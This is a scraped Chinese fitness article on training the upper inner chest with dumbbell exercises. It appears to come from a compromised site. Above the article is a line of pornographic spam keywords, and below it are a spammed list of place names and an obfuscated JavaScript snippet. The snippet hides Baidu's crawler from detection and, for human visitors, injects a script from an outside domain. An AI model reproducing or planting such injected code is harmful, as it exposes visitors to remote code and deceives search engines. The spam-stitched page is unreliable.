亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 健康 > 運(yùn)動健身 > 正文

胸肌上部內(nèi)側(cè)怎么練呢

2017-04-16 14:32:01  來源:360常識網(wǎng)   熱度:
導(dǎo)語:胸肌的發(fā)達(dá)顯示一個(gè)男人的魅力,也是好多男性在健身的時(shí)候追求的目標(biāo),我們在訓(xùn)練胸肌的時(shí)候一定要注意胸肌的完美,特別是在胸肌起來后,就

胸肌的發(fā)達(dá)顯示一個(gè)男人的魅力,也是好多男性在健身的時(shí)候追求的目標(biāo),我們在訓(xùn)練胸肌的時(shí)候一定要注意胸肌的完美,特別是在胸肌起來后,就需要對胸肌進(jìn)行雕刻了,一般可以用夾胸器進(jìn)行練習(xí),不過對于胸肌上部內(nèi)側(cè)怎么練就要注意方法了,一般練習(xí)的方法也很多,我們通過下面的介紹來進(jìn)行一下了解。

1.平臥推舉:主要練胸大肌的厚度和胸溝。

動作:兩手持啞鈴仰臥凳上,啞鈴置于肩部,掌心朝上,上推啞鈴至臂伸直,稍停,然后緩慢還原。提示:上推和下降呈弧線,使胸大肌得到充分收縮和徹底伸展。

2.上斜推舉:主要練上胸肌。

動作:動作要領(lǐng)與平臥推舉相同,不同之處是將凳面調(diào)到30~40度傾角,斜躺在上面做。

3.平臥飛鳥:主要練胸部中間溝。

動作:仰臥凳上,兩手持啞鈴,掌心相對,兩臂自然伸直于胸部上方,兩臂微屈肘向兩側(cè)弧形下放啞鈴至最低點(diǎn),胸肌充分伸展,胸肌用力收縮將兩臂弧形上舉還原。

4.仰臥直臂上拉:擴(kuò)展胸腔,練胸大肌、前鋸肌的最佳動作。

動作:肩部仰臥橫凳上,兩腳著地,雙手握緊啞鈴一端于胸部上方,以肩為軸將啞鈴緩慢放至(下降)頭后方(感覺胸肌和胸廓伸展),放到極限時(shí)再提拉啞鈴還原。

注意:為防止損傷,下放過程速度不宜太快。

以上的介紹,就是關(guān)于胸肌上部內(nèi)側(cè)怎么練的,在平時(shí)進(jìn)行胸肌練習(xí)的時(shí)候我們一定要注意上述方法的正確使用,特別是要注意我們所做的每一個(gè)動作都要規(guī)范,特別是要在思想上認(rèn)識到重要性,平時(shí)的時(shí)候要注意讓胸部肌肉也適當(dāng)?shù)男菹ⅰ?/p>

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
海丰县| 潍坊市| 囊谦县| 永修县| 台州市| 大埔县| 吴川市| 镇巴县| 枣阳市| 迁安市| 泽普县| 鄂托克旗| 晴隆县| 墨江| 长丰县| 通化县| 新建县| 望谟县| 凌云县| 灵川县| 晴隆县| 平南县| 抚远县| 东山县| 射阳县| 安仁县| 漾濞| 桃源县| 和平县| 定远县| 商城县| 甘肃省| 洪泽县| 绍兴县| 开原市| 伊金霍洛旗| 嘉峪关市| 阜平县| 论坛| 西乌珠穆沁旗| 蒙自县|